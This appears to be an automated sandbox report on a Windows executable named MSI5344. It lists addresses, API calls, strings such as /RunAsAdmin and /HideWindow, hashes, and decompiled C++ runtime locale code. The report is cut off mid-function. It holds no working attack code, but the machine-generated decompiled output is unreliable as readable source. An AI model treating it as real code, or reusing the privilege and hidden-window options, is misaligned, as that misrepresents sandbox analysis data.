0x7ff7af6e08d2
0x7ff7af6e08d7
0x7ff7af6e08de
0x7ff7af6e08ee
0x7ff7af6e08f0
0x7ff7af6e08f3
0x7ff7af6e08fb
0x7ff7af6e0909
0x7ff7af6e0912
0x7ff7af6e0914
0x7ff7af6e091a
0x7ff7af6e0924
0x7ff7af6e092d
0x7ff7af6e0931
0x7ff7af6e0934
0x7ff7af6e0938
0x7ff7af6e0940
0x7ff7af6e094d
0x7ff7af6e094f
0x7ff7af6e0956
0x7ff7af6e0966
0x7ff7af6e096a
0x7ff7af6e096c
0x7ff7af6e0970
0x7ff7af6e0972
0x7ff7af6e0979
0x7ff7af6e097d
0x7ff7af6e0984
0x7ff7af6e098b
0x7ff7af6e0998
0x7ff7af6e099a
0x7ff7af6e09a0
0x7ff7af6e09a8
0x7ff7af6e09b6
0x7ff7af6e09bf
0x7ff7af6e09c1
0x7ff7af6e09c7
0x7ff7af6e09d1
0x7ff7af6e09da
0x7ff7af6e09de
0x7ff7af6e09e1
0x7ff7af6e09e6
0x7ff7af6e09e8
0x7ff7af6e09eb
0x7ff7af6e09f3
0x7ff7af6e09f5
0x7ff7af6e0a0b
0x7ff7af6e0a0d
0x7ff7af6e0a14
0x7ff7af6e0a16
0x7ff7af6e0a26
0x7ff7af6e0a2a
0x7ff7af6e0a2c
0x7ff7af6e0a30
0x7ff7af6e0a32
0x7ff7af6e0a3a
0x7ff7af6e0a3c
0x7ff7af6e0a3f
0x7ff7af6e0a46
0x7ff7af6e0a4d
0x7ff7af6e0a5a
0x7ff7af6e0a5c
0x7ff7af6e0a60
0x7ff7af6e0a68
0x7ff7af6e0a76
0x7ff7af6e0a7f
0x7ff7af6e0a81
0x7ff7af6e0a87
0x7ff7af6e0a91
0x7ff7af6e0a9a
0x7ff7af6e0a9e
0x7ff7af6e0aa1
0x7ff7af6e0aa6
0x7ff7af6e0aa8
0x7ff7af6e0aab
0x7ff7af6e0ab3
0x7ff7af6e0ab5
0x7ff7af6e0acb
0x7ff7af6e0acd
0x7ff7af6e0ad4
0x7ff7af6e0ad6
0x7ff7af6e0ae6
0x7ff7af6e0aea
0x7ff7af6e0af0
0x7ff7af6e0af2
0x7ff7af6e0afa
0x7ff7af6e0afc
0x7ff7af6e0b07
0x7ff7af6e0b14
0x7ff7af6e0b19
0x7ff7af6e0b25
0x7ff7af6e0b2b
0x7ff7af6e0b2f
0x7ff7af6e0b39
0x7ff7af6e0b44
0x7ff7af6e0b55
0x7ff7af6e0b5a
0x7ff7af6e0b68
0x7ff7af6e0b70
0x7ff7af6e0b77
0x7ff7af6e0b84
0x7ff7af6e0b91
0x7ff7af6e0b93
0x7ff7af6e0bb0
0x7ff7af6e0bb4
0x7ff7af6e0bb9
0x7ff7af6e0bbe
0x7ff7af6e0bc3
0x7ff7af6e0bc6
0x7ff7af6e0bcd
0x7ff7af6e0bd5
0x7ff7af6e0be0
0x7ff7af6e0be7
0x7ff7af6e0bed
0x7ff7af6e0bf3
0x7ff7af6e0c00
0x7ff7af6e0c08
0x7ff7af6e0c0a
0x7ff7af6e0c14
0x7ff7af6e0c1b
0x7ff7af6e0c22
0x7ff7af6e0c26
0x7ff7af6e0c34
0x7ff7af6e0c36
0x7ff7af6e0c4a
0x7ff7af6e0c4c
0x7ff7af6e0c5a
0x7ff7af6e0c64
0x7ff7af6e0c66
0x7ff7af6e0c6d
0x7ff7af6e0c6f
0x7ff7af6e0c7a
0x7ff7af6e0c84
0x7ff7af6e0c91
0x7ff7af6e0c93
0x7ff7af6e0c9b
0x7ff7af6e0ca4
0x7ff7af6e0caa
0x7ff7af6e0cb1
0x7ff7af6e0cbd
0x7ff7af6e0cc6
0x7ff7af6e0cd3
0x7ff7af6e0cd6
0x7ff7af6e0cdc
0x7ff7af6e0ce1
0x7ff7af6e0cf2
0x7ff7af6e0cfc
0x7ff7af6e0d01
0x7ff7af6e0d0a
0x7ff7af6e0d0d
0x7ff7af6e0d12
0x7ff7af6e0d15
0x7ff7af6e0d1f
0x7ff7af6e0d2e
0x7ff7af6e0d34
0x7ff7af6e0d48
0x7ff7af6e0d4a
0x7ff7af6e0d54
0x7ff7af6e0d56
0x7ff7af6e0d61
0x7ff7af6e0d66
0x7ff7af6e0d72
0x7ff7af6e0d74
0x7ff7af6e0d7d
0x7ff7af6e0d80
0x7ff7af6e0d8b
0x7ff7af6e0d92
0x7ff7af6e0d94
0x7ff7af6e0d97
0x7ff7af6e0d9e
0x7ff7af6e0da4
0x7ff7af6e0da6
0x7ff7af6e0dad
0x7ff7af6e0daf
0x7ff7af6e0db7
0x7ff7af6e0dc4
0x7ff7af6e0dc6
0x7ff7af6e0dd1
0x7ff7af6e0dd3
0x7ff7af6e0dd8
0x7ff7af6e0ddd
0x7ff7af6e0ddf
0x7ff7af6e0de6
0x7ff7af6e0deb
0x7ff7af6e0df3
0x7ff7af6e0dfb
0x7ff7af6e0e06

APIs

RegOpenKeyExW.ADVAPI32 ref: 00007FF7AF6E0CEA
RegQueryValueExW.ADVAPI32 ref: 00007FF7AF6E0D15

Strings

/DontWait , xrefs: 00007FF7AF6E08DE
/EnforcedRunAsAdmin , xrefs: 00007FF7AF6E082A
/HideWindow, xrefs: 00007FF7AF6E0A46
/RunAsAdmin , xrefs: 00007FF7AF6E097D

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: OpenQueryValue
String ID: /DontWait $/EnforcedRunAsAdmin $/HideWindow$/RunAsAdmin
API String ID: 4153817207-1914306501
Opcode ID: 2bd071ea3d9a4a2e0fcbad7ca52d06bc02f2c8ab586d7b81891b6057b2a24ff2
Instruction ID: b3d4768907432411c80ea47d917a4ade9101aecfac443212be84b80d434f6feb
Opcode Fuzzy Hash: 2bd071ea3d9a4a2e0fcbad7ca52d06bc02f2c8ab586d7b81891b6057b2a24ff2
Instruction Fuzzy Hash: BFF1B357E0A6D6D1EA61BF54D0103F9B3A6EF50B84FD6A131DA4D032A1EF3EA941C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6DC380 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00007FF77FF7AF6DC380(intOrPtr* __rdi, void* __r9, long long __r12, void* __r14) {
				void* _t56;
				void* _t57;
				void* _t79;
				long long _t81;
				char* _t84;
				char* _t91;
				intOrPtr _t93;
				void* _t104;
				char* _t107;
				void* _t109;
				intOrPtr _t110;
				void* _t112;

				_t121 = __r12;
				_t82 =  *__rdi;
				E00007FF77FF7AF6E8B64(0, _t112 - 0x39);
				r12d = 0;
				 *((long long*)(_t112 - 0x31)) = __r12;
				 *((intOrPtr*)(_t112 - 0x29)) = r12b;
				 *((long long*)(_t112 - 0x21)) = __r12;
				 *((intOrPtr*)(_t112 - 0x19)) = r12b;
				 *((long long*)(_t112 - 0x11)) = __r12;
				 *((intOrPtr*)(_t112 - 9)) = r12w;
				 *((long long*)(_t112 - 1)) = __r12;
				 *((intOrPtr*)(_t112 + 7)) = r12w;
				 *((long long*)(_t112 + 0xf)) = __r12;
				 *((intOrPtr*)(_t112 + 0x17)) = r12b;
				 *((long long*)(_t112 + 0x1f)) = __r12;
				 *((intOrPtr*)(_t112 + 0x27)) = r12b;
				if ( *__rdi == 0) goto 0xaf6dc524;
				_t14 = _t121 + 0x3f; // 0x3f
				E00007FF77FF7AF6E657C(_t14, _t79,  *__rdi, _t112 - 0x39, _t109,  *__rdi, __r9);
				_t91 =  !=  ?  *((intOrPtr*)(_t112 + 0x1f)) : _t112 + 0x27;
				if ( *_t91 != 0x2a) goto 0xaf6dc401;
				if ( *((intOrPtr*)(_t91 + 1)) != r12b) goto 0xaf6dc401;
				r15b = 1;
				goto 0xaf6dc480;
				r9d = 0;
				0xaf6e65d4();
				_t81 =  *((intOrPtr*)(__r14 + 8));
				 *((intOrPtr*)(_t81 + 0x20)) = 0x3f;
				if ( *((long long*)(__rdi + 0x18)) - 0x10 < 0) goto 0xaf6dc42a;
				_t107 =  *__rdi;
				_t110 =  *((intOrPtr*)(__r14 + 8));
				_t93 =  *((intOrPtr*)(_t110 + 0x28));
				if (_t93 == _t107) goto 0xaf6dc480;
				if (_t93 == 0) goto 0xaf6dc441;
				E00007FF77FF7AF70F228(_t82, _t93, _t104, _t110, _t112,  *((intOrPtr*)(__r14 + 8)));
				 *((long long*)(_t110 + 0x28)) = __r12;
				if (_t107 == 0) goto 0xaf6dc480;
				if ( *_t107 == 0) goto 0xaf6dc45a;
				_t84 = _t107 + 1;
				if ( *_t84 != 0) goto 0xaf6dc452;
				_t86 = _t84 + 1 - _t107;
				0xaf7148c0();
				 *((long long*)(_t110 + 0x28)) = _t81;
				if (_t81 == 0) goto 0xaf6dc480;
				_t118 = _t84 + 1 - _t107;
				_t105 = _t107;
				E00007FF77FF7AF70AFB0();
				E00007FF77FF7AF6E8A30(_t112 - 0x39);
				if ( *((intOrPtr*)(_t112 + 0x1f)) == 0) goto 0xaf6dc498;
				E00007FF77FF7AF70F228(_t84 + 1 - _t107,  *((intOrPtr*)(_t112 + 0x1f)), _t107, _t110, _t112, _t84 + 1 - _t107);
				 *((long long*)(_t112 + 0x1f)) = __r12;
				if ( *((intOrPtr*)(_t112 + 0xf)) == 0) goto 0xaf6dc4aa;
				E00007FF77FF7AF70F228(_t86,  *((intOrPtr*)(_t112 + 0xf)), _t107, _t110, _t112, _t84 + 1 - _t107);
				 *((long long*)(_t112 + 0xf)) = __r12;
				if ( *((intOrPtr*)(_t112 - 1)) == 0) goto 0xaf6dc4bc;
				E00007FF77FF7AF70F228(_t86,  *((intOrPtr*)(_t112 - 1)), _t107, _t110, _t112, _t84 + 1 - _t107);
				 *((long long*)(_t112 - 1)) = __r12;
				if ( *((intOrPtr*)(_t112 - 0x11)) == 0) goto 0xaf6dc4ce;
				E00007FF77FF7AF70F228(_t86,  *((intOrPtr*)(_t112 - 0x11)), _t107, _t110, _t112, _t84 + 1 - _t107);
				 *((long long*)(_t112 - 0x11)) = __r12;
				if ( *((intOrPtr*)(_t112 - 0x21)) == 0) goto 0xaf6dc4e0;
				E00007FF77FF7AF70F228(_t86,  *((intOrPtr*)(_t112 - 0x21)), _t105, _t110, _t112, _t118);
				 *((long long*)(_t112 - 0x21)) = __r12;
				if ( *((intOrPtr*)(_t112 - 0x31)) == 0) goto 0xaf6dc4f2;
				_t56 = E00007FF77FF7AF70F228(_t86,  *((intOrPtr*)(_t112 - 0x31)), _t105, _t110, _t112, _t118);
				 *((long long*)(_t112 - 0x31)) = __r12;
				_t57 = E00007FF77FF7AF6E8BDC(_t56, _t112 - 0x39);
				 *((long long*)(_t112 + 0x7f)) = __r12;
				if (r15b != 0) goto 0xaf6dc531;
				return _t57;
			}

0x7ff7af6dc380
0x7ff7af6dc380
0x7ff7af6dc389
0x7ff7af6dc38f
0x7ff7af6dc392
0x7ff7af6dc396
0x7ff7af6dc39a
0x7ff7af6dc39e
0x7ff7af6dc3a2
0x7ff7af6dc3a6
0x7ff7af6dc3ab
0x7ff7af6dc3af
0x7ff7af6dc3b4
0x7ff7af6dc3b8
0x7ff7af6dc3bc
0x7ff7af6dc3c0
0x7ff7af6dc3c7
0x7ff7af6dc3d0
0x7ff7af6dc3d9
0x7ff7af6dc3ea
0x7ff7af6dc3f1
0x7ff7af6dc3f7
0x7ff7af6dc3f9
0x7ff7af6dc3fc
0x7ff7af6dc401
0x7ff7af6dc410
0x7ff7af6dc415
0x7ff7af6dc419
0x7ff7af6dc425
0x7ff7af6dc427
0x7ff7af6dc42a
0x7ff7af6dc42e
0x7ff7af6dc435
0x7ff7af6dc43a
0x7ff7af6dc43c
0x7ff7af6dc441
0x7ff7af6dc448
0x7ff7af6dc450
0x7ff7af6dc452
0x7ff7af6dc458
0x7ff7af6dc45d
0x7ff7af6dc463
0x7ff7af6dc468
0x7ff7af6dc46f
0x7ff7af6dc471
0x7ff7af6dc474
0x7ff7af6dc47a
0x7ff7af6dc484
0x7ff7af6dc491
0x7ff7af6dc493
0x7ff7af6dc498
0x7ff7af6dc4a3
0x7ff7af6dc4a5
0x7ff7af6dc4aa
0x7ff7af6dc4b5
0x7ff7af6dc4b7
0x7ff7af6dc4bc
0x7ff7af6dc4c7
0x7ff7af6dc4c9
0x7ff7af6dc4ce
0x7ff7af6dc4d9
0x7ff7af6dc4db
0x7ff7af6dc4e0
0x7ff7af6dc4eb
0x7ff7af6dc4ed
0x7ff7af6dc4f2
0x7ff7af6dc4fa
0x7ff7af6dc4ff
0x7ff7af6dc506
0x7ff7af6dc523

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6DC389
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7AF6DC3D9
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6DC4FA

Strings

bad locale name, xrefs: 00007FF7AF6DC54E
bZ, xrefs: 00007FF7AF6DC555

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name$bZ
API String ID: 2775327233-2529610053
Opcode ID: 0e0c99cb90dec73a3691580c1096a427450b23407c43e7761ce0e93778de8542
Instruction ID: 878ea9b26f3ca5be7457a3058f58b2e096ae9e671dd6335b410e159f01ed521a
Opcode Fuzzy Hash: 0e0c99cb90dec73a3691580c1096a427450b23407c43e7761ce0e93778de8542
Instruction Fuzzy Hash: B0815126A0BB8585EB20EF61E4506FDB3A9EF44788F852536DE8E13A65CE38D461C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6DBD40 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 141
memoryCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E00007FF77FF7AF6DBD40(long long __rax, long long __rbx, int* __rcx, void* __rdx, long long __rdi, long long __rsi) {
				void* __rbp;
				void* _t60;
				intOrPtr _t83;
				long long* _t108;
				int* _t112;
				void* _t115;
				void* _t117;
				void* _t120;
				int _t125;

				 *((long long*)(_t117 + 0x10)) = __rbx;
				 *((long long*)(_t117 + 0x18)) = __rsi;
				 *((long long*)(_t117 + 0x20)) = __rdi;
				_t115 = _t117 - 0x47;
				_t112 = __rcx;
				r15d = 0;
				 *((intOrPtr*)(_t115 - 0x49)) = r15d;
				if (__rcx == 0) goto 0xaf6dbef3;
				if ( *((intOrPtr*)(__rcx)) != __rbx) goto 0xaf6dbef3;
				LocalAlloc(_t125);
				_t108 = __rax;
				 *((long long*)(_t115 + 0x67)) = __rax;
				if (__rax == 0) goto 0xaf6dbe5f;
				_t83 =  *((intOrPtr*)(__rdx + 8));
				if (_t83 == 0) goto 0xaf6dbdb6;
				if ( *((intOrPtr*)(_t83 + 0x28)) != 0) goto 0xaf6dbdbd;
				goto 0xaf6dbdbd;
				E00007FF77FF7AF6E8B64(0, _t115 - 0x41);
				 *(_t115 - 0x39) = _t125;
				 *((char*)(_t115 - 0x31)) = 0;
				 *(_t115 - 0x29) = _t125;
				 *((char*)(_t115 - 0x21)) = 0;
				 *(_t115 - 0x19) = _t125;
				 *((intOrPtr*)(_t115 - 0x11)) = r15w;
				 *(_t115 - 9) = _t125;
				 *((intOrPtr*)(_t115 - 1)) = r15w;
				 *(_t115 + 7) = _t125;
				 *((char*)(_t115 + 0xf)) = 0;
				 *(_t115 + 0x17) = _t125;
				 *((char*)(_t115 + 0x1f)) = 0;
				if (0xaf7472c1 == 0) goto 0xaf6dbf15;
				E00007FF77FF7AF6E89C4(_t83, 0xaf7472c1, _t115 - 0x41, 0xaf7472c1);
				 *((intOrPtr*)(_t115 - 0x49)) = 1;
				 *_t108 = 0xaf7366f8;
				 *_t108 = 0xaf736718;
				 *((intOrPtr*)(_t108 + 8)) = r15d;
				 *_t108 = 0xaf736740;
				 *_t108 = 0xaf736760;
				E00007FF77FF7AF6E8DCC(0xaf736760, _t115 + 0x27, 0xaf7472c1, _t120);
				asm("movups xmm0, [eax]");
				asm("movups [edi+0x10], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [edi+0x20], xmm1");
				goto 0xaf6dbe62;
				 *_t112 = _t125;
				if (1 == 0) goto 0xaf6dbef3;
				 *((intOrPtr*)(_t115 - 0x49)) = 0;
				E00007FF77FF7AF6E8A30(_t115 - 0x41);
				if ( *(_t115 + 0x17) == 0) goto 0xaf6dbe8c;
				E00007FF77FF7AF70F228(0xaf7472c1,  *(_t115 + 0x17), 0xaf7472c1, _t112, _t115, _t120);
				 *(_t115 + 0x17) = _t125;
				if ( *(_t115 + 7) == 0) goto 0xaf6dbe9e;
				E00007FF77FF7AF70F228(0xaf7472c1,  *(_t115 + 7), 0xaf7472c1, _t112, _t115, _t120);
				 *(_t115 + 7) = _t125;
				if ( *(_t115 - 9) == 0) goto 0xaf6dbeb0;
				E00007FF77FF7AF70F228(0xaf7472c1,  *(_t115 - 9), 0xaf7472c1, _t112, _t115, _t120);
				 *(_t115 - 9) = _t125;
				if ( *(_t115 - 0x19) == 0) goto 0xaf6dbec2;
				E00007FF77FF7AF70F228(0xaf7472c1,  *(_t115 - 0x19), 0xaf7472c1, _t112, _t115, _t120);
				 *(_t115 - 0x19) = _t125;
				if ( *(_t115 - 0x29) == 0) goto 0xaf6dbed4;
				E00007FF77FF7AF70F228(0xaf7472c1,  *(_t115 - 0x29), 0xaf7472c1, _t112, _t115, _t120);
				 *(_t115 - 0x29) = _t125;
				if ( *(_t115 - 0x39) == 0) goto 0xaf6dbee6;
				_t60 = E00007FF77FF7AF70F228(0xaf7472c1,  *(_t115 - 0x39), 0xaf7472c1, _t112, _t115, _t120);
				 *(_t115 - 0x39) = _t125;
				E00007FF77FF7AF6E8BDC(_t60, _t115 - 0x41);
				return 2;
			}

0x7ff7af6dbd40
0x7ff7af6dbd45
0x7ff7af6dbd4a
0x7ff7af6dbd54
0x7ff7af6dbd63
0x7ff7af6dbd66
0x7ff7af6dbd6c
0x7ff7af6dbd72
0x7ff7af6dbd7b
0x7ff7af6dbd88
0x7ff7af6dbd8e
0x7ff7af6dbd91
0x7ff7af6dbd98
0x7ff7af6dbd9e
0x7ff7af6dbda5
0x7ff7af6dbdae
0x7ff7af6dbdb4
0x7ff7af6dbdc3
0x7ff7af6dbdc9
0x7ff7af6dbdcd
0x7ff7af6dbdd1
0x7ff7af6dbdd5
0x7ff7af6dbdd9
0x7ff7af6dbddd
0x7ff7af6dbde2
0x7ff7af6dbde6
0x7ff7af6dbdeb
0x7ff7af6dbdef
0x7ff7af6dbdf3
0x7ff7af6dbdf7
0x7ff7af6dbdfe
0x7ff7af6dbe0b
0x7ff7af6dbe16
0x7ff7af6dbe20
0x7ff7af6dbe2a
0x7ff7af6dbe2d
0x7ff7af6dbe38
0x7ff7af6dbe42
0x7ff7af6dbe49
0x7ff7af6dbe4e
0x7ff7af6dbe51
0x7ff7af6dbe55
0x7ff7af6dbe59
0x7ff7af6dbe5d
0x7ff7af6dbe62
0x7ff7af6dbe68
0x7ff7af6dbe71
0x7ff7af6dbe78
0x7ff7af6dbe85
0x7ff7af6dbe87
0x7ff7af6dbe8c
0x7ff7af6dbe97
0x7ff7af6dbe99
0x7ff7af6dbe9e
0x7ff7af6dbea9
0x7ff7af6dbeab
0x7ff7af6dbeb0
0x7ff7af6dbebb
0x7ff7af6dbebd
0x7ff7af6dbec2
0x7ff7af6dbecd
0x7ff7af6dbecf
0x7ff7af6dbed4
0x7ff7af6dbedf
0x7ff7af6dbee1
0x7ff7af6dbee6
0x7ff7af6dbeee
0x7ff7af6dbf14

APIs

LocalAlloc.KERNEL32 ref: 00007FF7AF6DBD88
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6DBDC3
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7AF6DBE0B
_Getctype.LIBCPMT ref: 00007FF7AF6DBE49
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6DBEEE

Strings

bad locale name, xrefs: 00007FF7AF6DBF15

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: std::_$Lockit$AllocGetctypeLocalLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 229129721-1405518554
Opcode ID: 2df7b136974a781ad4ed1133bf3849f53bf25ebbb35d45e037e099671f6b31bc
Instruction ID: 7757c599810b2af181e8384233754b11aa1e7ec3d878f8a5d9fdfa84920f915c
Opcode Fuzzy Hash: 2df7b136974a781ad4ed1133bf3849f53bf25ebbb35d45e037e099671f6b31bc
Instruction Fuzzy Hash: 87515D26B0BB819AFB04EF60E8502EC73A9EF44744F855936DB4D13AA9DF38D5218364

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6DB2D0 Relevance: 10.6, APIs: 7, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00007FF77FF7AF6DB2D0(intOrPtr __rax, void* __rcx, long long _a8, char _a16, void* _a24) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				intOrPtr _t22;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t35;
				intOrPtr _t43;
				intOrPtr _t44;
				long long _t45;
				long long _t50;
				long long _t55;
				intOrPtr _t62;
				signed long long _t63;
				long long _t64;
				void* _t65;
				signed int _t66;

				_t43 = __rax;
				_t65 = __rcx;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t64 =  *0xaf754688; // 0x0
				_a24 = _t64;
				_t62 =  *0xaf752dc8; // 0x0
				if (_t62 != 0) goto 0xaf6db341;
				E00007FF77FF7AF6E8B64(0,  &_a8);
				_t35 =  *0xaf752dc8 - _t62; // 0x0
				if (_t35 != 0) goto 0xaf6db330;
				_t22 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t22 + 1;
				 *0xaf752dc8 = _t43;
				_t25 = E00007FF77FF7AF6E8BDC(_t43,  &_a8);
				_t63 =  *0xaf752dc8; // 0x0
				_t55 = _a8;
				_t66 = _t63 * 8;
				if (_t63 -  *((intOrPtr*)(_t55 + 0x18)) >= 0) goto 0xaf6db362;
				_t44 =  *((intOrPtr*)(_t55 + 0x10));
				if ( *((intOrPtr*)(_t66 + _t44)) != 0) goto 0xaf6db3ca;
				goto 0xaf6db364;
				if ( *((char*)(_t55 + 0x24)) == 0) goto 0xaf6db37d;
				E00007FF77FF7AF6E8848(_t25);
				if (_t63 -  *((intOrPtr*)(_t44 + 0x18)) >= 0) goto 0xaf6db382;
				_t45 =  *((intOrPtr*)(_t44 + 0x10));
				if ( *((intOrPtr*)(_t66 + _t45)) != 0) goto 0xaf6db3ca;
				if (_t64 == 0) goto 0xaf6db38c;
				goto 0xaf6db3ca;
				_t27 = E00007FF77FF7AF6DB850(_t45, _t64,  &_a24, _t65, _t63, _t64);
				if (_t45 == 0xffffffff) goto 0xaf6db3e2;
				_t50 = _a24;
				_a8 = _t50;
				E00007FF77FF7AF6E8810(_t27, _t45, _t50);
				_t29 =  *((intOrPtr*)( *_t50 + 8))();
				 *0xaf754688 = _t50;
				_a8 = 0;
				return E00007FF77FF7AF6E8BDC(_t29,  &_a16);
			}

0x7ff7af6db2d0
0x7ff7af6db2db
0x7ff7af6db2e5
0x7ff7af6db2eb
0x7ff7af6db2f2
0x7ff7af6db2f7
0x7ff7af6db301
0x7ff7af6db30a
0x7ff7af6db310
0x7ff7af6db317
0x7ff7af6db319
0x7ff7af6db321
0x7ff7af6db329
0x7ff7af6db335
0x7ff7af6db33a
0x7ff7af6db341
0x7ff7af6db345
0x7ff7af6db351
0x7ff7af6db353
0x7ff7af6db35e
0x7ff7af6db360
0x7ff7af6db368
0x7ff7af6db36a
0x7ff7af6db373
0x7ff7af6db375
0x7ff7af6db380
0x7ff7af6db385
0x7ff7af6db38a
0x7ff7af6db394
0x7ff7af6db39d
0x7ff7af6db39f
0x7ff7af6db3a4
0x7ff7af6db3ac
0x7ff7af6db3b7
0x7ff7af6db3ba
0x7ff7af6db3c1
0x7ff7af6db3e1

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6DB2E5
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6DB30A
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6DB335
std::_Facet_Register.LIBCPMT ref: 00007FF7AF6DB3AC
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6DB3CF
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6DB3E2
LocalFree.KERNEL32 ref: 00007FF7AF6DB44E

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_FreeLocalRegister
String ID:
API String ID: 4216899657-0
Opcode ID: b29bb16259572061abe0e4534c889e6a6381c5883f47aa11bd5de42b33eed8ff
Instruction ID: d56e06801c613b285ebf47ca10bce36f7033bfd683044048973c22de4fba18ed
Opcode Fuzzy Hash: b29bb16259572061abe0e4534c889e6a6381c5883f47aa11bd5de42b33eed8ff
Instruction Fuzzy Hash: 04414226A0BB8291FB05AB15E8502F9B365EF48B50FDA6132DA4D473B9DF3CE455C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6E9FB0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00007FF77FF7AF6E9FB0(long long __rbx, void* __rcx, long long __rdi, long long __rsi, void* __r8, void* __r10) {
				void* _t28;
				void* _t32;
				long long _t38;
				void* _t40;
				void* _t41;
				void* _t61;
				long long _t63;
				long long _t66;
				void* _t74;
				void* _t75;

				_t69 = __r8;
				_t39 = __rbx;
				_t38 = _t66;
				 *((long long*)(_t38 + 8)) = __rbx;
				 *((long long*)(_t38 + 0x10)) = _t63;
				 *((long long*)(_t38 + 0x18)) = __rsi;
				 *((long long*)(_t38 + 0x20)) = __rdi;
				_t75 = __rcx;
				_t61 = __r8;
				E00007FF77FF7AF6E8FC0(_t38, __rbx, _t38 - 0x38, __r10);
				_t6 = _t75 + 0x2c; // 0x2c
				_t64 = _t6;
				asm("movups xmm0, [eax]");
				asm("movups [ebp], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [ebp+0x10], xmm1");
				asm("movsd xmm0, [eax+0x20]");
				asm("movsd [ebp+0x20], xmm0");
				 *((intOrPtr*)(_t6 + 0x28)) =  *((intOrPtr*)(_t38 + 0x28));
				E00007FF77FF7AF71EF4C(_t32, _t39, _t38 - 0x38, __r8);
				_t9 = _t61 + 8; // 0x8
				_t40 = _t9;
				if (_t38 == 0) goto 0xaf6ea01f;
				E00007FF77FF7AF6DC270(_t38, _t40, _t40, _t38, _t61, _t74);
				E00007FF77FF7AF70F228(_t40, _t38, _t38, _t61, _t64, _t69);
				_t48 =  !=  ?  *_t40 : ":Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday";
				E00007FF77FF7AF6EA238(0, _t40,  !=  ?  *_t40 : ":Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday", _t64, _t64);
				 *((long long*)(_t75 + 0x10)) = _t38;
